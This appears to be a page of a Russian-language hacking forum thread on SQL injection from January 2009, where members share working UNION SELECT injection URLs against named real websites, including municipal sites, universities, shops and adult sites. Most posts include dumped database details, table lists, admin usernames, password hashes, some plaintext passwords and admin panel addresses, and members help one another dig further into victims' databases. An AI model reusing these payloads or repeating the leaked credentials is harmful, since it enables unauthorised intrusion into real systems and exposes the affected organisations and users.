SQL Инъекции

Discussion in 'Уязвимости' started by m0nzt3r, 4 Jul 2006.

Thread Status:
Not open for further replies.
Page 371 of 798
  1. emel9

    emel9 New Member

    Joined:
    20 Jan 2008
    Messages:
    4
    Likes Received:
    0
    Reputations:
    0
    посмотрите понять не могу чего за уязвимость http://dasha.com.ua/wellness_descr.php?page=i3%27
     
    #7401 emel9, 12 Jan 2009
  2. ILYAtirtir

    ILYAtirtir Elder - Старейшина

    Joined:
    25 Apr 2007
    Messages:
    142
    Likes Received:
    246
    Reputations:
    73
    это не скуля и уязвимости тут вроде как нет,ковычки итд экранируются и расширение не отбросить
     
    #7402 ILYAtirtir, 12 Jan 2009
    Last edited: 12 Jan 2009
  3. spherics

    spherics Elder - Старейшина

    Joined:
    14 Jan 2008
    Messages:
    190
    Likes Received:
    162
    Reputations:
    25
    http://walaber.com/index.php?action=showitem&id=-19+union+select+1,2,3,4,concat_ws(0x3a3a,version(),user(),database()),6,7,8,9,10,11,12--


    Version:5.0.45-log
    User:[email protected]
    Database:walaber_db


    http://www.carbodydesign.com/video/?id=999992220+union+select+1,2,3,4,5,6,7,8,9,concat_ws(0x3a3a,version(),user(),database()),11,12,13,14,15,16,17,18,19,20,21--


    Version:5.0.24a-log
    User:u70469981@cgihost
    Database:d60425765
     
    #7403 spherics, 12 Jan 2009
  4. vakula

    vakula New Member

    Joined:
    20 Jan 2008
    Messages:
    41
    Likes Received:
    4
    Reputations:
    0
    Наконец то первая скуль которую сам нашёл и роскрутил!!!
    Всем огромное за это спасибо!
    Code:
    http://www.yalta.org.ua/pages/firm.php?id=-1772%20union%20select%201,version(),3,4,user(),database(),7,8,9,10,11,12,13,14,15
    version : 5.0.51a-15
    user : u_admin_yalta@localhost
    database: admin_yalta

    Code:
    http://www.yalta.org.ua/pages/firm.php?id=-1772%20union%20select%201,nick,3,4,password,6,7,8,9,10,11,12,13,14,15%20%20FROM%20user_data%20%20LIMIT%201,1
    login:TopAdmin
    password:878960

    админка http://www.yalta.org.ua/admin/

    тока когда ввожу данные, не заходит..не подскажите чё?
     
    #7404 vakula, 12 Jan 2009
    1 person likes this.
  5. vakula

    vakula New Member

    Joined:
    20 Jan 2008
    Messages:
    41
    Likes Received:
    4
    Reputations:
    0
    муниципальный сайт города Алушта
    Code:
    http://www.alushta.crimea.ua/rest/obj/type_obj.php?o=-15%20union%20select%20version(),2,user(),database(),5,6,7,8,9,10,11,12%20--
    version: 5.0.67-log
    user: [email protected]
    database: u7048

    Code:
    http://www.alushta.crimea.ua/rest/obj/type_obj.php?o=-15%20union%20select%20TABLE_NAME,2,3,4,5,6,7,8,9,10,11,12%20%20FROM%20INFORMATION_SCHEMA.TABLES%20--
    имена таблиц

    тока есть трабла, при запросе любой таблицы, типа
    Code:
    http://www.alushta.crimea.ua/rest/obj/type_obj.php?o=-15%20union%20select%201,2,3,4,5,6,7,8,9,10,11,12%20%20FROM%20dn05_users%20--
    выдаёт ошибку Table 'u7048.dn05_users' doesn't exist

    чё за бред, подскажите
     
    #7405 vakula, 12 Jan 2009
  6. R1dex

    R1dex Elder - Старейшина

    Joined:
    17 Sep 2008
    Messages:
    255
    Likes Received:
    132
    Reputations:
    19
    Табла лежит в другой бд.

    Code:
    http://www.alushta.crimea.ua/rest/obj/type_obj.php?o=-15+union+select+concat_ws(0x3a,table_schema,table_rows,TABLE_NAMe),2,3,4,5,6,7,8,9,10,11,12+FROM+INFORMATION_SCHEMA.TABLES--
    К тому же, табла dn05_users - пустая.
    Зато есть таблица 4images_users..
     
    #7406 R1dex, 12 Jan 2009
  7. vakula

    vakula New Member

    Joined:
    20 Jan 2008
    Messages:
    41
    Likes Received:
    4
    Reputations:
    0
    нашёл, спасибо за инфу....помогло в двух скулях
     
    #7407 vakula, 12 Jan 2009
    1 person likes this.
  8. 1NtR0

    1NtR0 Elder - Старейшина

    Joined:
    14 Apr 2007
    Messages:
    235
    Likes Received:
    89
    Reputations:
    35
    history.arizona.edu


    user() - history@localhost
    database() - history
    version() - 4.0.12

    www.coastal.edu

    www.housing.wisc.edu
     
    #7408 1NtR0, 12 Jan 2009
    Last edited: 12 Jan 2009
    1 person likes this.
  9. emel9

    emel9 New Member

    Joined:
    20 Jan 2008
    Messages:
    4
    Likes Received:
    0
    Reputations:
    0
    Code:
    http://www.ecominfo.spb.ru/news/index.php?id=-1186+union+select+1,2,3,4,5,6,7,8,version(),10,11,12,13,version(),15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35--
    version()=5.0.24a

    дальше не смог раскрутить может кто попробует раскрутить
     
    #7409 emel9, 13 Jan 2009
  10. emel9

    emel9 New Member

    Joined:
    20 Jan 2008
    Messages:
    4
    Likes Received:
    0
    Reputations:
    0
    Code:
    http://www.natpress.net/stat.php?id=-3329+union+select+1,2,3,4,5,concat(login,char(58),pass),7,8,9,10+from+user--
    админку не нашел
    admin:9605e8702d88
     
    #7410 emel9, 13 Jan 2009
  11. ILYAtirtir

    ILYAtirtir Elder - Старейшина

    Joined:
    25 Apr 2007
    Messages:
    142
    Likes Received:
    246
    Reputations:
    73
    Бажные сайты от iTex:
    5.0.41-log:regiontools:[email protected]
    наугад подобрал таблицу админа:
    admin:5583413443164b56500def9a533c7c70:159753
    админка http://www.regiontools.ru/admin.php





    5.0.41-log
    [email protected]
    узнаём название таблицы админа:
    avg_admin
    достаём логин и пасс админа:
    admin:6a4a680519c8eb06
    админка http://www.avantage1.ru/cgi/admin.php
    Так же на сайте присутствует форум phpbb,но походу права обрезаны т.к. при запросе на phpbb_users выдаёт ошибку.





    [email protected]:nevgroup
    uralmpg_admin
    admin : 5d2e19393cc5ef67 : password
    админка http://www.nevgroup.ru/admin.php





    [email protected] : ogn66 : 5.0.41-log
    CHARACTER_SETS
    COLLATIONS
    COLLATION_CHARACTER_SET_APPLICABILITY
    COLUMNS
    COLUMN_PRIVILEGES
    KEY_COLUMN_USAGE
    PROFILING
    ROUTINES
    SCHEMATA
    SCHEMA_PRIVILEGES
    STATISTICS
    TABLES
    TABLE_CONSTRAINTS
    TABLE_PRIVILEGES
    TRIGGERS
    USER_PRIVILEGES
    VIEWS
    fire_admin
    fire_cat
    fire_cat_group
    fire_cat_item
    fire_contacts
    fire_contactshort
    fire_files
    fire_hackers
    fire_main
    fire_meta
    ogn:3d8b2df05dd09579b699a9de68c0d4c0
    админка http://www.ogn66.ru/admin.php
    Ещё заинтересовала очень таблица fire_hackers :)
    т.к. кавычка экранируется то fire_hackers в hex
    id
    ip
    faultscount
    blockedtill
    1:172.22.1.40:5:2006-11-22 16:15:22
    2:194.226.147.230:4:2006-11-22 16:15:22
    3:212.23.76.23:4:2006-11-22 16:15:22
    4:194.226.152.113:4:2006-11-22 16:15:22
    6:62.33.99.50:1
    7:87.224.234.89:1
    8:195.189.109.34:1
    хммм... :)





    koltsovo@localhost:5.0.27:koltsovo
    kol_admin
    admin:*CF7FD12395BFB4CEF6EB0B7D4470B621D3F46BE9
    vava:*424193A86C662F47463BC77A44B09CB77DDF5870
    law:*831CEF9DA73F4BD8E83873E244FF0806EFA90497
    orb:*B0F917485699B8B8453A9D41BD2731E69D9D0026
    snow:*619C257D7D5EF71F843A7F8F593C1D33C0F1E9EE
    forum:*3E64FE741BF14A31A4ED2B58A75A93EB16D809ED
    cargo:*B77FC59BEB345D39A5E263E140E50AEB03F05873:    cargaison
    Так же заинтересовала очень табличка ua_paroles
    id
    name
    class
    content
    и через limit выводим:
    1:vava: password:vo44
    3:vava:admin:1
    41:uralairline3: password:Sa13na
    10:vava:ip:*.*.*.*
    12:vava:ip:62.117.33.118
    8:vava:ip:62.177.33.118
    38:uralairline2: password:lO0ka2
    13:skip: password:antiskip
    14:skip:ip:*.*.*.*
    20:zephyr: password:gene5ys
    19:vava:ak:у6,u6,svr,сжр
    21:zephyr:ip:*.*.*.*
    22:zephyr:ak:ют,p2,piv,
    39:uralairline2:ip:*.*.*.*
    26:zephyr:admin:1
    27:utair: password:uta1R
    28:utair:ip:*.*.*.*
    29:utair:ak:ют,p2,piv
    40:uralairline2:ak:у6,u6,svr,сжр
    30:skip:ak:у6,u6,svr,сжр
    32:uralairlines: password:urAlA1rl1ne5
    33:uralairlines:ip:*.*.*.*
    34:uralairlines:ak:у6,u6,svr,сжр
    42:uralairline3:ip:*.*.*.*
    43:uralairline3:ak:у6,u6,svr,сжр
    44:uralairline4: password:hO04
    45:uralairline4:ip:*.*.*.*
    46:uralairline4:ak:у6,u6,svr,сжр
    47:uralairline5: password:xAv13r
    48:uralairline5:ip:*.*.*.*
    49:uralairline5:ak:у6,u6,svr,сжр
    50:zozo:admin:1
    51:zozo: password:z0z0
    52:zozo:ip:*.*.*.*
    53:zozo:ak:*
    Так и не врубился от чего всё это =\
     
    #7411 ILYAtirtir, 13 Jan 2009
    Last edited: 13 Jan 2009
    4 people like this.
  12. z00MAN

    z00MAN Banned

    Joined:
    20 Nov 2008
    Messages:
    360
    Likes Received:
    276
    Reputations:
    41
    на мой взгляд очень интересная inj

    при запросе
    Code:
    http://otium.ru/artists/?id=13'
    выдаёт Ошибка! Не могу выполнить SQL запрос

    работая order by добиваемся того, чтобы это сообщение пропало
    Code:
    http://otium.ru/artists/?id=-13+union+select+1,concat(user(),0x3a,version(),0x3a,database()),3,4,5--
    user(): otium_ru@localhost
    version(): 5.1.29-rc
    database(): otium_ru

    тИЦ: 50
    PR: 4
     
    #7412 z00MAN, 13 Jan 2009
    1 person likes this.
  13. spherics

    spherics Elder - Старейшина

    Joined:
    14 Jan 2008
    Messages:
    190
    Likes Received:
    162
    Reputations:
    25
    Магазинчики

    http://www.royallifestyle.in/category.php?id=31+union+select+1,concat_ws(0x3a3a,version(),user(),database()),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32--&cid=23

    5.0.51a-community
    royal_royalife@localhost
    royal_royalife

    http://www.royallifestyle.in/category.php?id=31+UNION+SELECT+1,CONCAT(0x7873716C696E6A626567696E,(SELECT+CONCAT(id,0x7873716C696E6A64656C,username,0x7873716C696E6A64656C,password)+FROM+royal_royalife.tb_admin),0x7873716C696E6A656E64),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32--&cid=23

    admin
    123


    http://www.positivehands.co.uk/products/category/Baby-Products/0/1291+union+select+1,2,concat_ws(0x3a3a,version(),user(),database()),4,5,6,7,8,9,10,11,12,13,14,15--.html

    Database Version: 4.1.22-standard
    Database name: mohi4421_positivenew
    User name: mohi4421_kalexik@localhost
     
    #7413 spherics, 13 Jan 2009
  14. vakula

    vakula New Member

    Joined:
    20 Jan 2008
    Messages:
    41
    Likes Received:
    4
    Reputations:
    0
    И снова крым. Сайт города Симферополь
    Code:
    http://www.simferopol.org/modules/mydownloads/ratefile.php?lid=-24%20%20UNION%20SELECT%20concat_ws(0x3a3a,version(),user(),database())
    version: 4.0.27-max-log
    user:[email protected]
    database:db95496483
     
    #7414 vakula, 13 Jan 2009
    Last edited by a moderator: 13 Jan 2009
  15. Iceangel_

    Iceangel_ Elder - Старейшина

    Joined:
    9 Jul 2006
    Messages:
    494
    Likes Received:
    532
    Reputations:
    158
    еду...
    Code:
    http://organelledb.lsi.umich.edu/gene.php?id=-210148+union+select+1,version(),3,4,5,6,7,8,9--
    magic_quotes=off
    5.0.22-log
     
    #7415 Iceangel_, 13 Jan 2009
  16. spherics

    spherics Elder - Старейшина

    Joined:
    14 Jan 2008
    Messages:
    190
    Likes Received:
    162
    Reputations:
    25
    http://maricopa.edu/news/?story=-511+UNION+SELECT+1,2,AES_DECRYPT(AES_ENCRYPT(CONCAT(0x7873716C696E6A626567696E,Version(),0x2F2A2A2F,Database(),0x2F2A2A2F,User(),0x7873716C696E6A656E64),0x71),0x71),4,5--

    тИЦ = 550
    PageRank = 7


    Database Version: 5.0.18-log
    Database name: news
    User name: [email protected]

    Там в общем несколько баз и сайтов
    Сильно расскапывать не стал кому надо продолжит.


    http://www.mcli.dist.maricopa.edu/ocotillo/retreat05/gps_session.php?id=31+UNION+SELECT+1,AES_DECRYPT(AES_ENCRYPT(CONCAT(0x7873716C696E6A626567696E,Version(),0x2F2A2A2F,Database(),0x2F2A2A2F,User(),0x7873716C696E6A656E64),0x71),0x71),3--

    тИЦ = 210
    PageRank = 6


    Database Version: 5.0.18-log
    Database name: ocotillo
    User name: [email protected]
     
    #7416 spherics, 13 Jan 2009
    2 people like this.
  17. spherics

    spherics Elder - Старейшина

    Joined:
    14 Jan 2008
    Messages:
    190
    Likes Received:
    162
    Reputations:
    25
    http://www.geniv.com/ako888/search_lyric2.php?id=-55+union+select+1,concat_ws(0x3a3a,version(),user(),database()),3,4,5,6,7--

    5.0.51a-log
    [email protected]
    genivcom_geniv

    http://www.dhammaweb.net/monk/view.php?id=9831+union+select+1,2,3,4,5,6,concat_ws(0x3a3a,version(),user(),database()),8,9,10,11,12,13,14,15,16--

    4.0.27-max-log
    [email protected]
    sayadaw

    http://www.spartapewter.com/product-profile.php?ID=31+union+select+1,2,3,4,5,concat_ws(0x3a3a,version(),user(),database()),7,8,9,10--&IID=2&MID=5&CID=62


    4.1.22-log
    sparta_user@localhost
    sparta_data
     
    #7417 spherics, 13 Jan 2009
  18. vakula

    vakula New Member

    Joined:
    20 Jan 2008
    Messages:
    41
    Likes Received:
    4
    Reputations:
    0
    RuSoft.net

    Code:
    http://www.rusoft.net/download.php?id=-804%20UNION%20SELECT%201,2,3,concat_ws(0x3a,version(),database(),user()),5,6,7,8,9,10,11,12%20--
    version:5.0.22
    user:rusoft@localhost
    database:rusoft
     
    #7418 vakula, 13 Jan 2009
    1 person likes this.
  19. spherics

    spherics Elder - Старейшина

    Joined:
    14 Jan 2008
    Messages:
    190
    Likes Received:
    162
    Reputations:
    25
    SAN DIEGO STATE UNIVERSITY


    http://larc.sdsu.edu/langmash/mashuplist.php?id=5678944+union+select+1,2,concat_ws(0x3a3a,version(),user(),database()),4,5--

    http://larc.sdsu.edu/langmash/mashuplist.php?id=5678944+UNION+SELECT+1,2,concat_ws(0x3a3a,email,username,password),4,5+FROM+mashup.admin_details--

    [email protected]::jvitagli::mashup


    Database Version: 5.0.45-log
    Database name: mashup
    User name: fnu@localhost

    А вот до этого не добрался http://sdsu.edu

    Мож кто нить доберётся подскажите...
     
    #7419 spherics, 13 Jan 2009
  20. spherics

    spherics Elder - Старейшина

    Joined:
    14 Jan 2008
    Messages:
    190
    Likes Received:
    162
    Reputations:
    25
    Типа Адалт и всё такое -) XXX


    http://www.siam2play.com/play-clip.php?id=401798798798798+union+select+1,2,3,concat_ws(0x3a3a,version(),user(),database()),5,6,7,8,9,10,11,12,13--&hasp=Sexy


    Version:5.0.67-community-log
    User:feedsone_ple@localhost
    Database:feedsone_siam2play


    http://www.beastiemixes.com/remixer.php?id=5234560+union+select+1,2,concat_ws(0x3a3a,version(),user(),database()),4,5,6,7,8,9,10,11,12--

    Version:4.1.22-max-log
    User:[email protected]
    Database:beastiemixes2

    http://www.gamesinaflash.com/game.php?id=31234567+union+select+1,2,3,4,5,6,concat_ws(0x3a3a,version(),user(),database()),8,9,10,11,12,13,14,15,16,17,18--

    Version:4.1.22-standard
    User:designnow@localhost
    Database:designnow
     
    #7420 spherics, 13 Jan 2009
(You must log in or sign up to post here.)
Page 371 of 798
Thread Status:
Not open for further replies.
Language
English (US)
    ANTICHAT ™ © 2001-2027 Antichat Kft.